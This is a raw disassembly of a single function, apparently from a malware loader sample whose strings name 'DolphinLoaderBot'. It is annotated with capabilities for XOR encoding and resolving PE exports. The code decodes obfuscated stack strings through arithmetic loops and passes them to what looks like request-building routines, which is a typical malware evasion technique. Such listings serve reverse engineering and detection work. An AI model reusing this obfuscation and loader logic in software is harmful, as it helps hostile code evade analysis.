Function at 0x409fd0
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xf0
cmp dword [ecx + 0x20], 0
je 0x40a037
mov esi, ecx
movzx eax, byte [ecx]
mov byte [esp + 0xf], 0
test eax, eax
je 0x40a03e
cmp al, 0x64
jb 0x40a04d
lea ecx, [eax + eax*4]
lea ecx, [eax + ecx*8]
movzx ecx, cx
shr ecx, 0xc
imul edx, ecx, 0x64
sub al, dl
movzx eax, al
mov edx, eax
and edx, 2
mov edi, eax
or eax, 2
imul eax, edx
xor edx, 2
and edi, 0x7d
imul edi, edx
movzx eax, word [edi + eax + 0x440528]
mov word [esp + 0xd], ax
mov edx, 1
mov eax, ecx
jmp 0x40a056
mov bl, 1
jmp 0x40a641
lea eax, [esp + 0xe]
mov dword [esp + 0x28], eax
mov byte [esp + 0xe], 0x30
jmp 0x40a082
mov edx, 3
cmp al, 9
ja 0x40a06d
movzx eax, byte [eax + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
lea ecx, [esp + edx]
add ecx, 0xb
mov dword [esp + 0x28], ecx
mov byte [esp + edx + 0xb], al
jmp 0x40a082
movzx eax, word [eax + eax + 0x440528]
lea ecx, [esp + 0xd]
mov dword [esp + 0x28], ecx
mov word [esp + 0xd], ax
lea eax, [esi + 0x10]
push eax
call fcn.00406d10
add esp, 4
mov edi, dword [esi + 0x10]
mov eax, dword [esi + 0x58]
mov eax, dword [eax + 0x48]
mov dword [esp + 0xc4], eax
lea ebx, [esp + 0xcb]
push ebx
call fcn.004357d0
add esp, 4
mov dword [esp + 0x2c], edi
lea eax, [edi + 0x400]
push eax
call fcn.00408da0
add esp, 4
mov edi, eax
mov dword [esp + 0x30], 0x4f4b5c4e
mov byte [esp + 0x34], 0x2a
mov dword [esp + 0x35], 0
mov byte [esp + 0x39], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 9
ja 0x40a12d
nop
nop
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 0x30]
lea edx, [eax - 0x1d0cff5b]
add eax, 0xa5
and eax, ecx
or edx, ecx
sub edx, eax
mov dword [esp + 0x10], edx
mov eax, dword [esp + 0x10]
add al, 0x7d
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x30], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 0xa
jb 0x40a0f0
lea eax, [esp + 0x30]
mov ecx, esi
push ebx
mov ebx, eax
push eax
push edi
call fcn.004098d0
mov dword [esp + 0x30], 0x53fcfae6
mov dword [esp + 0x34], 0
mov dword [esp + 0x37], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 0xa
ja 0x40a1b5
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 0x30]
mov edx, eax
and edx, 0xcf6c4cb3
xor eax, 0x4f6c4cb3
lea eax, [eax + edx*2]
lea edx, [eax + ecx]
and eax, ecx
add eax, eax
sub edx, eax
mov dword [esp + 0x10], edx
mov eax, dword [esp + 0x10]
add al, 0x1b
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x30], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 0xb
jb 0x40a170
mov ecx, esi
push dword [esp + 0x28]
push ebx
push edi
call fcn.004098d0
mov eax, dword [str.xlKStP___DolphinLoaderBot]
mov dword [esp + 0x30], 0xb3282222
mov dword [esp + 0x34], 0
mov word [esp + 0x38], 0
mov dword [esp + 4], 0
mov ecx, dword [esp + 4]
cmp ecx, 9
ja 0x40a22f
nop
mov ecx, dword [esp + 4]
mov edx, dword [esp + 4]
movzx edx, byte [esp + edx + 0x30]
lea ebx, [ecx + 0x3d654bc9]
add ecx, 0xc9
and ecx, edx
or ebx, edx
sub ebx, ecx
mov dword [esp + 0x10], ebx
mov ecx, dword [esp + 0x10]
add cl, 0x81
mov edx, dword [esp + 4]
mov byte [esp + edx + 0x30], cl
inc dword [esp + 4]
mov ecx, dword [esp + 4]
cmp ecx, 0xa
jb 0x40a1f0
mov ecx, esi
push eax
lea ebx, [esp + 0x34]
push ebx
push edi
call fcn.004098d0
mov dword [esp + 0x30], 0xe7d0e8db
mov dword [esp + 0x34], 0xd0e3dce3
mov dword [esp + 0x38], 0x1e21e4d3
mov byte [esp + 0x3c], 0xb8
mov dword [esp + 0x3d], 0
mov dword [esp + 0x41], 0
mov dword [esp + 0x44], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 0x17
ja 0x40a2cd
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 0x30]
lea edx, [eax + 0x3db93af6]
add eax, 0xf6
and eax, ecx
or edx, ecx
sub edx, eax
mov dword [esp + 0x10], edx
mov eax, dword [esp + 0x10]
add al, 0x46
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x30], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 0x18
jb 0x40a290
mov dword [esp + 0x10], 0x4bd0e0e1
mov dword [esp + 0x14], 0
mov dword [esp + 8], 0
mov eax, dword [esp + 8]
cmp eax, 7
ja 0x40a330
nop
nop
mov eax, dword [esp + 8]
mov ecx, dword [esp + 8]
movzx ecx, byte [esp + ecx + 0x10]
lea edx, [eax + ecx]
add edx, 0x795458f5
add eax, 0x795458f5
and eax, ecx
add eax, eax
sub edx, eax
mov dword [esp + 4], edx
mov eax, dword [esp + 4]
add al, 0x4d
mov ecx, dword [esp + 8]
mov byte [esp + ecx + 0x10], al
inc dword [esp + 8]
mov eax, dword [esp + 8]
cmp eax, 8
jb 0x40a2f0
lea eax, [esp + 0x10]
mov ecx, esi
push ebx
push eax
push edi
call fcn.004098d0
mov dword [esp + 0x30], 0x36ce3036
mov byte [esp + 0x34], 0x44
mov dword [esp + 0x35], 0
mov dword [esp + 0x39], 0
mov word [esp + 0x3d], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 0xe
ja 0x40a3bd
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 0x30]
lea edx, [eax + 0x15d475cc]
add eax, 0xcc
and eax, ecx
or edx, ecx
sub edx, eax
mov dword [esp + 0x10], edx
mov eax, dword [esp + 0x10]
add al, 0x6c
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x30], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 0xf
jb 0x40a380
mov ecx, esi
push dword [esp + 0x2c]
push dword [esp + 0xc8]
push ebx
push edi
call fcn.00409b90
mov eax, dword [esi + 0x60]
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], 0xfb69f9c3
mov dword [esp + 0x34], 0xff68fd64
mov dword [esp + 0x38], 0xf36ef159
mov dword [esp + 0x3c], 0xf72bf566
mov dword [esp + 0x40], 0xeb63e942
mov dword [esp + 0x44], 0xef4bed7a
mov dword [esp + 0x48], 0xe300e124
mov dword [esp + 0x4c], 0xe773e57d
mov dword [esp + 0x50], 0xdb4cd97a
mov dword [esp + 0x54], 0xdf4cdd41
mov dword [esp + 0x58], 0xd342d17d
mov dword [esp + 0x5c], 0xd705d546
mov dword [esp + 0x60], 0xcb59c970
mov dword [esp + 0x64], 0xcf53cd58
mov dword [esp + 0x68], 0xc364c111
mov dword [esp + 0x6c], 0xc750c561
mov dword [esp + 0x70], 0xbb75b965
mov dword [esp + 0x74], 0xbf1ebd5a
mov dword [esp + 0x78], 0xb327b12f
mov dword [esp + 0x7c], 0xb710b52c
mov dword [esp + 0x80], 0xab3aa915
mov dword [esp + 0x84], 0xaf63ad21
mov dword [esp + 0x88], 0xa307a10c
mov dword [esp + 0x8c], 0xa773a56a
mov dword [esp + 0x90], 0x9b3f9902
mov dword [esp + 0x94], 0x9f079d4d
mov dword [esp + 0x98], 0x9334910e
mov dword [esp + 0x9c], 0x97319503
mov dword [esp + 0xa0], 0x8b2f890d
mov dword [esp + 0xa4], 0x8f1e8d18
mov dword [esp + 0xa8], 0x83538129
mov dword [esp + 0xac], 0x877e857d
mov word [esp + 0xb0], 0x7986
mov dword [esp + 0xb5], 0
mov dword [esp + 0xb2], 0
mov dword [esp + 4], 0
mov ecx, dword [esp + 4]
cmp ecx, 0x88
ja 0x40a588
mov edx, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ebx, byte [esp + ecx + 0x30]
lea eax, [edx + 0x556a797f]
lea ecx, [edx + ebx]
add ecx, 0x556a797f
add edx, 0x7f
and edx, ebx
add edx, ebx
not ebx
or ebx, eax
lea eax, [ebx + edx]
inc eax
mov edx, ecx
not edx
and edx, eax
not eax
and eax, ecx
sub eax, edx
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
add al, 0x87
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x30], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 0x89
jb 0x40a530
mov dword [esp + 0x10], 0x363012f
mov dword [esp + 0x14], 0x76f0574
mov word [esp + 0x18], 0x908
mov dword [esp + 0x1a], 0
mov dword [esp + 0x1e], 0
mov byte [esp + 0x22], 0
mov dword [esp + 8], 0
mov eax, dword [esp + 8]
cmp eax, 0x12
ja 0x40a609
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 8]
mov ecx, dword [esp + 8]
movzx ecx, byte [esp + ecx + 0x10]
lea edx, [eax + ecx]
and eax, ecx
add eax, eax
sub edx, eax
add edx, 0xe17f5400
mov dword [esp + 4], edx
mov eax, dword [esp + 4]
mov ecx, dword [esp + 8]
mov byte [esp + ecx + 0x10], al
inc dword [esp + 8]
mov eax, dword [esp + 8]
cmp eax, 0x13
jb 0x40a5d0
push 0x493e0
push dword [esp + 0x30]
push edi
push 0
push 0
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x28]
push eax
call fcn.0040df80
add esp, 0x1c
mov ebx, eax
push edi
call fcn.00408db0
add esp, 4
mov eax, dword [esi + 0x60]
add dword [esi + 4], eax
mov dword [esi + 0x60], 0
mov eax, ebx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret